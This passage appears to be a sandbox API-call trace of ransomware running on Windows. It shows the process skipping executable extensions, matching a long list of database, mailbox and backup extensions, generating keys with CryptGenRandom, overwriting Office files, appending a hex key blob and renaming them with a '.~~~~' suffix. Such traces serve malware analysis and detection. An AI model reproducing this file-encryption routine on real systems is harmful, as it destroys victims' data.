	[0137.198] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.198] CloseHandle (hObject=0x108) returned 1
	[0137.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc5d8
	[0137.199] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.~~~~")) returned 1
	[0137.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc5d8 | out: hHeap=0x300000) returned 1
	[0137.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.202] GetLastError () returned 0x0
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".scr") returned 0x0
	[0137.202] lstrlenW (lpString=".cmd") returned 4
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".cmd") returned 0x0
	[0137.202] lstrlenW (lpString=".dll") returned 4
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".dll") returned 0x0
	[0137.202] lstrlenW (lpString=".bat") returned 4
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".bat") returned 0x0
	[0137.202] lstrlenW (lpString=".cpl") returned 4
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".cpl") returned 0x0
	[0137.202] lstrlenW (lpString=".sys") returned 4
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".sys") returned 0x0
	[0137.202] lstrlenW (lpString=".msc") returned 4
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".msc") returned 0x0
	[0137.202] lstrlenW (lpString=".com") returned 4
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".com") returned 0x0
	[0137.202] lstrlenW (lpString=".lnk") returned 4
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".lnk") returned 0x0
	[0137.202] lstrlenW (lpString=".msp") returned 4
	[0137.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".msp") returned 0x0
	[0137.203] lstrlenW (lpString=".pif") returned 4
	[0137.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".pif") returned 0x0
	[0137.203] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0137.205] lstrlenW (lpString=".sqb") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".sqb") returned 0x0
	[0137.205] lstrlenW (lpString=".ost") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".ost") returned 0x0
	[0137.205] lstrlenW (lpString=".txt") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".txt") returned 0x0
	[0137.205] lstrlenW (lpString=".mdt") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".mdt") returned 0x0
	[0137.205] lstrlenW (lpString=".BDB") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".BDB") returned 0x0
	[0137.205] lstrlenW (lpString=".eql") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".eql") returned 0x0
	[0137.205] lstrlenW (lpString=".DBF") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DBF") returned 0x0
	[0137.205] lstrlenW (lpString=".EQL") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".EQL") returned 0x0
	[0137.205] lstrlenW (lpString=".FDB") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".FDB") returned 0x0
	[0137.205] lstrlenW (lpString=".EDB") returned 4
	[0137.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".EDB") returned 0x0
	[0137.206] lstrlenW (lpString=".DACPAC") returned 7
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DACPAC") returned 0x0
	[0137.206] lstrlenW (lpString=".VHD") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".VHD") returned 0x0
	[0137.206] lstrlenW (lpString=".DBV") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DBV") returned 0x0
	[0137.206] lstrlenW (lpString=".dacpac") returned 7
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".dacpac") returned 0x0
	[0137.206] lstrlenW (lpString=".sdf") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".sdf") returned 0x0
	[0137.206] lstrlenW (lpString=".accdb") returned 6
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".accdb") returned 0x0
	[0137.206] lstrlenW (lpString=".DBX") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DBX") returned 0x0
	[0137.206] lstrlenW (lpString=".MDT") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".MDT") returned 0x0
	[0137.206] lstrlenW (lpString=".SQB") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".SQB") returned 0x0
	[0137.206] lstrlenW (lpString=".vhd") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".vhd") returned 0x0
	[0137.206] lstrlenW (lpString=".bac") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".bac") returned 0x0
	[0137.206] lstrlenW (lpString=".mdf") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".mdf") returned 0x0
	[0137.206] lstrlenW (lpString=".BAK") returned 4
	[0137.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".BAK") returned 0x0
	[0137.207] lstrlenW (lpString=".BAC") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".BAC") returned 0x0
	[0137.207] lstrlenW (lpString=".dbs") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".dbs") returned 0x0
	[0137.207] lstrlenW (lpString=".vhdx") returned 5
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".vhdx") returned 0x0
	[0137.207] lstrlenW (lpString=".NDF") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".NDF") returned 0x0
	[0137.207] lstrlenW (lpString=".dat") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".dat") returned 0x0
	[0137.207] lstrlenW (lpString=".DBS") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DBS") returned 0x0
	[0137.207] lstrlenW (lpString=".CKP") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".CKP") returned 0x0
	[0137.207] lstrlenW (lpString=".edb") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".edb") returned 0x0
	[0137.207] lstrlenW (lpString=".PST") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".PST") returned 0x0
	[0137.207] lstrlenW (lpString=".dbf") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".dbf") returned 0x0
	[0137.207] lstrlenW (lpString=".SQL") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".SQL") returned 0x0
	[0137.207] lstrlenW (lpString=".pst") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".pst") returned 0x0
	[0137.207] lstrlenW (lpString=".dbv") returned 4
	[0137.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".dbv") returned 0x0
	[0137.208] lstrlenW (lpString=".SDF") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".SDF") returned 0x0
	[0137.208] lstrlenW (lpString=".dtxs") returned 5
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".dtxs") returned 0x0
	[0137.208] lstrlenW (lpString=".db3") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".db3") returned 0x0
	[0137.208] lstrlenW (lpString=".OST") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".OST") returned 0x0
	[0137.208] lstrlenW (lpString=".dbx") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".dbx") returned 0x0
	[0137.208] lstrlenW (lpString=".DB3") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DB3") returned 0x0
	[0137.208] lstrlenW (lpString=".DAT") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DAT") returned 0x0
	[0137.208] lstrlenW (lpString=".VHDX") returned 5
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".VHDX") returned 0x0
	[0137.208] lstrlenW (lpString=".ndf") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".ndf") returned 0x0
	[0137.208] lstrlenW (lpString=".DB") returned 3
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DB") returned 0x0
	[0137.208] lstrlenW (lpString=".sql") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".sql") returned 0x0
	[0137.208] lstrlenW (lpString=".MYD") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".MYD") returned 0x0
	[0137.208] lstrlenW (lpString=".DBT") returned 4
	[0137.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DBT") returned 0x0
	[0137.208] lstrlenW (lpString=".ACCDB") returned 6
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".ACCDB") returned 0x0
	[0137.209] lstrlenW (lpString=".fdb") returned 4
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".fdb") returned 0x0
	[0137.209] lstrlenW (lpString=".bak") returned 4
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".bak") returned 0x0
	[0137.209] lstrlenW (lpString=".myd") returned 4
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".myd") returned 0x0
	[0137.209] lstrlenW (lpString=".DTXS") returned 5
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".DTXS") returned 0x0
	[0137.209] lstrlenW (lpString=".ckp") returned 4
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".ckp") returned 0x0
	[0137.209] lstrlenW (lpString=".dbt") returned 4
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".dbt") returned 0x0
	[0137.209] lstrlenW (lpString=".db") returned 3
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".db") returned 0x0
	[0137.209] lstrlenW (lpString=".TXT") returned 4
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".TXT") returned 0x0
	[0137.209] lstrlenW (lpString=".MDF") returned 4
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".MDF") returned 0x0
	[0137.209] lstrlenW (lpString=".bdb") returned 4
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".bdb") returned 0x0
	[0137.209] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0137.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.210] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395520) returned 1
	[0137.429] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.429] CryptReleaseContext (hProv=0x395520, dwFlags=0x0) returned 1
	[0137.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0137.430] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25741981397) returned 1
	[0137.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbb5c7230, dwHighDateTime=0x1d60e1e)) 
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28255f8
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28255f8 | out: hHeap=0x300000) returned 1
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c61b8
	[0137.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.430] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0137.431] GetLastError () returned 0x0
	[0137.431] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0137.431] GetLastError () returned 0x0
	[0137.433] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffa400, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.433] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x5c00, lpOverlapped=0x0) returned 1
	[0137.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.434] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.434] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.434] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.434] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.434] CloseHandle (hObject=0x108) returned 1
	[0137.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c61b8
	[0137.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss.~~~~")) returned 1
	[0137.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c61b8 | out: hHeap=0x300000) returned 1
	[0137.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.437] GetLastError () returned 0x0
	[0137.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".scr") returned 0x0
	[0137.437] lstrlenW (lpString=".cmd") returned 4
	[0137.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".cmd") returned 0x0
	[0137.437] lstrlenW (lpString=".dll") returned 4
	[0137.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".dll") returned 0x0
	[0137.437] lstrlenW (lpString=".bat") returned 4
	[0137.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".bat") returned 0x0
	[0137.438] lstrlenW (lpString=".cpl") returned 4
	[0137.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".cpl") returned 0x0
	[0137.438] lstrlenW (lpString=".sys") returned 4
	[0137.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".sys") returned 0x0
	[0137.438] lstrlenW (lpString=".msc") returned 4
	[0137.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".msc") returned 0x0
	[0137.438] lstrlenW (lpString=".com") returned 4
	[0137.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".com") returned 0x0
	[0137.438] lstrlenW (lpString=".lnk") returned 4
	[0137.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".lnk") returned 0x0
	[0137.438] lstrlenW (lpString=".msp") returned 4
	[0137.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".msp") returned 0x0
	[0137.438] lstrlenW (lpString=".pif") returned 4
	[0137.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".pif") returned 0x0
	[0137.438] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch="msp\r\n.pif") returned 0x0
	[0137.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0137.440] lstrlenW (lpString=".sqb") returned 4
	[0137.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".sqb") returned 0x0
	[0137.440] lstrlenW (lpString=".ost") returned 4
	[0137.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".ost") returned 0x0
	[0137.440] lstrlenW (lpString=".txt") returned 4
	[0137.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".txt") returned 0x0
	[0137.440] lstrlenW (lpString=".mdt") returned 4
	[0137.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".mdt") returned 0x0
	[0137.440] lstrlenW (lpString=".BDB") returned 4
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".BDB") returned 0x0
	[0137.441] lstrlenW (lpString=".eql") returned 4
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".eql") returned 0x0
	[0137.441] lstrlenW (lpString=".DBF") returned 4
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DBF") returned 0x0
	[0137.441] lstrlenW (lpString=".EQL") returned 4
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".EQL") returned 0x0
	[0137.441] lstrlenW (lpString=".FDB") returned 4
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".FDB") returned 0x0
	[0137.441] lstrlenW (lpString=".EDB") returned 4
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".EDB") returned 0x0
	[0137.441] lstrlenW (lpString=".DACPAC") returned 7
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".DACPAC") returned 0x0
	[0137.441] lstrlenW (lpString=".VHD") returned 4
	[0137.441] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT", lpSrch=".VHD") returned 0x0
	[0137.441] lstrlenW (lpString=".DBV") returned 4
